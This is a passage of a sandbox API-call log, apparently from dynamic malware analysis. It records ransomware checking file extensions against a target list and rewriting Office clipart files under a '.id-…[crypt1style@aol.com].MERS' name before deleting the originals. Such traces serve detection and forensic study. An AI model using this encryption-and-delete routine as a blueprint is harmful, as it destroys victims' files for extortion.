lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0266.056] lstrlenW (lpString=".1cd") returned 4 [0266.056] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0266.056] lstrlenW (lpString=".jpg") returned 4 [0266.056] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.057] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0266.057] lstrlenW (lpString="AG00160_.GIF") returned 12 [0266.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0266.057] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=1146) returned 1 [0266.057] CloseHandle (hObject=0x3c4) returned 1 [0266.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0266.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0266.057] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0266.057] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0266.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0266.057] GetLastError () returned 0x0 [0266.057] ReadFile (in: hFile=0x3c4, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x47a, lpOverlapped=0x0) returned 1 [0266.102] WriteFile (in: hFile=0x360, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x480, lpOverlapped=0x0) returned 1 [0266.102] ReadFile (in: hFile=0x3c4, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0266.102] WriteFile (in: hFile=0x360, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.102] SetEndOfFile (hFile=0x360) returned 1 [0266.488] CloseHandle (hObject=0x360) returned 1 [0266.568] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0266.568] SetEndOfFile (hFile=0x3c4) returned 1 [0266.731] CloseHandle (hObject=0x3c4) returned 1 [0266.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0266.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0266.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0266.739] lstrlenW (lpString=".doc") returned 4 [0266.740] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.740] lstrlenW (lpString=".docx") returned 5 [0266.740] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.740] lstrlenW (lpString=".pdf") returned 4 [0266.740] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.740] lstrlenW (lpString=".xls") returned 4 [0266.740] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.740] lstrlenW (lpString=".xlsx") returned 5 [0266.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.740] lstrlenW (lpString=".ppt") returned 4 [0266.740] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0266.740] lstrlenW (lpString=".zip") returned 4 [0266.740] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.740] lstrlenW (lpString=".rar") returned 4 [0266.740] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.740] lstrlenW (lpString=".bz2") returned 4 [0266.740] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.740] lstrlenW (lpString=".7z") returned 3 [0266.740] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0266.740] lstrlenW (lpString=".dbf") returned 4 [0266.740] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0266.740] lstrlenW (lpString=".1cd") returned 4 [0266.740] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0266.740] lstrlenW (lpString=".jpg") returned 4 [0266.740] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0266.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0266.740] lstrlenW (lpString=".doc") returned 4 [0266.740] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.740] lstrlenW (lpString=".docx") returned 5 [0266.740] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.741] lstrlenW (lpString=".pdf") returned 4 [0266.741] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.741] lstrlenW (lpString=".xls") returned 4 [0266.741] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.741] lstrlenW (lpString=".xlsx") returned 5 [0266.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.741] lstrlenW (lpString=".ppt") returned 4 [0266.741] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0266.741] lstrlenW (lpString=".zip") returned 4 [0266.741] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.741] lstrlenW (lpString=".rar") returned 4 [0266.741] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.741] lstrlenW (lpString=".bz2") returned 4 [0266.741] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.741] lstrlenW (lpString=".7z") returned 3 [0266.741] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0266.741] lstrlenW (lpString=".dbf") returned 4 [0266.741] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0266.741] lstrlenW (lpString=".1cd") returned 4 [0266.741] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0266.741] lstrlenW (lpString=".jpg") returned 4 [0266.741] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.741] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0266.741] lstrlenW (lpString="AG00167_.GIF") returned 12 [0266.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0266.748] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=4894) returned 1 [0266.748] CloseHandle (hObject=0x2d8) returned 1 [0266.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0266.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0267.020] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0267.020] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0267.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0268.139] GetLastError () returned 0x0 [0268.139] ReadFile (in: hFile=0x3d0, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x131e, lpOverlapped=0x0) returned 1 [0268.199] WriteFile (in: hFile=0x3d4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x1320, lpOverlapped=0x0) returned 1 [0268.200] ReadFile (in: hFile=0x3d0, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0268.200] WriteFile (in: hFile=0x3d4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.200] SetEndOfFile (hFile=0x3d4) returned 1 [0268.200] CloseHandle (hObject=0x3d4) returned 1 [0268.200] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.200] SetEndOfFile (hFile=0x3d0) returned 1 [0268.201] CloseHandle (hObject=0x3d0) returned 1 [0268.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0268.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0268.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0268.202] lstrlenW (lpString=".doc") returned 4 [0268.202] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0268.202] lstrlenW (lpString=".docx") returned 5 [0268.202] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0268.202] lstrlenW (lpString=".pdf") returned 4 [0268.202] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0268.202] lstrlenW (lpString=".xls") returned 4 [0268.202] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0268.202] lstrlenW (lpString=".xlsx") returned 5 [0268.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0268.202] lstrlenW (lpString=".ppt") returned 4 [0268.202] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0268.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0268.202] lstrlenW (lpString=".zip") returned 4 [0268.202] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0268.203] lstrlenW (lpString=".rar") returned 4 [0268.203] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0268.203] lstrlenW (lpString=".bz2") returned 4 [0268.203] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0268.203] lstrlenW (lpString=".7z") returned 3 [0268.203] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0268.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0268.203] lstrlenW (lpString=".dbf") returned 4 [0268.203] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0268.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0268.203] lstrlenW (lpString=".1cd") returned 4 [0268.203] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0268.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0268.203] lstrlenW (lpString=".jpg") returned 4 [0268.203] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0268.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0268.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0268.203] lstrlenW (lpString=".doc") returned 4 [0268.203] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0268.203] lstrlenW (lpString=".docx") returned 5 [0268.203] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0268.203] lstrlenW (lpString=".pdf") returned 4 [0268.203] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0268.203] lstrlenW (lpString=".xls") returned 4 [0268.203] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0268.203] lstrlenW (lpString=".xlsx") returned 5 [0268.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0268.204] lstrlenW (lpString=".ppt") returned 4 [0268.204] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0268.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0268.204] lstrlenW (lpString=".zip") returned 4 [0268.204] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0268.204] lstrlenW (lpString=".rar") returned 4 [0268.204] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0268.204] lstrlenW (lpString=".bz2") returned 4 [0268.204] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0268.204] lstrlenW (lpString=".7z") returned 3 [0268.204] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0268.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0268.204] lstrlenW (lpString=".dbf") returned 4 [0268.204] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0268.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0268.204] lstrlenW (lpString=".1cd") returned 4 [0268.204] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0268.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0268.204] lstrlenW (lpString=".jpg") returned 4 [0268.204] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0268.204] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.204] lstrlenW (lpString="AN00790_.WMF") returned 12 [0268.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0268.214] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=5684) returned 1 [0268.214] CloseHandle (hObject=0x39c) returned 1 [0268.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0268.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0268.220] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.220] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0268.221] GetLastError () returned 0x0 [0268.221] ReadFile (in: hFile=0x2c8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x1634, lpOverlapped=0x0) returned 1 [0268.347] WriteFile (in: hFile=0x3b0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x1640, lpOverlapped=0x0) returned 1 [0268.348] ReadFile (in: hFile=0x2c8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0268.348] WriteFile (in: hFile=0x3b0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.348] SetEndOfFile (hFile=0x3b0) returned 1 [0268.348] CloseHandle (hObject=0x3b0) returned 1 [0268.348] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.348] SetEndOfFile (hFile=0x2c8) returned 1 [0268.350] CloseHandle (hObject=0x2c8) returned 1 [0268.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0268.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0268.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0268.350] lstrlenW (lpString=".doc") returned 4 [0268.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.351] lstrlenW (lpString=".docx") returned 5 [0268.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.351] lstrlenW (lpString=".pdf") returned 4 [0268.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.351] lstrlenW (lpString=".xls") returned 4 [0268.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.351] lstrlenW (lpString=".xlsx") returned 5 [0268.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.351] lstrlenW (lpString=".ppt") returned 4 [0268.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0268.351] lstrlenW (lpString=".zip") returned 4 [0268.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.351] lstrlenW (lpString=".rar") returned 4 [0268.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.351] lstrlenW (lpString=".bz2") returned 4 [0268.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.351] lstrlenW (lpString=".7z") returned 3 [0268.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0268.351] lstrlenW (lpString=".dbf") returned 4 [0268.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0268.351] lstrlenW (lpString=".1cd") returned 4 [0268.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0268.351] lstrlenW (lpString=".jpg") returned 4 [0268.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0268.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0268.351] lstrlenW (lpString=".doc") returned 4 [0268.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.352] lstrlenW (lpString=".docx") returned 5 [0268.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.352] lstrlenW (lpString=".pdf") returned 4 [0268.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.352] lstrlenW (lpString=".xls") returned 4 [0268.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.352] lstrlenW (lpString=".xlsx") returned 5 [0268.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.352] lstrlenW (lpString=".ppt") returned 4 [0268.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0268.352] lstrlenW (lpString=".zip") returned 4 [0268.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.352] lstrlenW (lpString=".rar") returned 4 [0268.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.352] lstrlenW (lpString=".bz2") returned 4 [0268.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.352] lstrlenW (lpString=".7z") returned 3 [0268.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0268.352] lstrlenW (lpString=".dbf") returned 4 [0268.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0268.352] lstrlenW (lpString=".1cd") returned 4 [0268.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0268.352] lstrlenW (lpString=".jpg") returned 4 [0268.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.352] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.352] lstrlenW (lpString="AN01044_.WMF") returned 12 [0268.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft 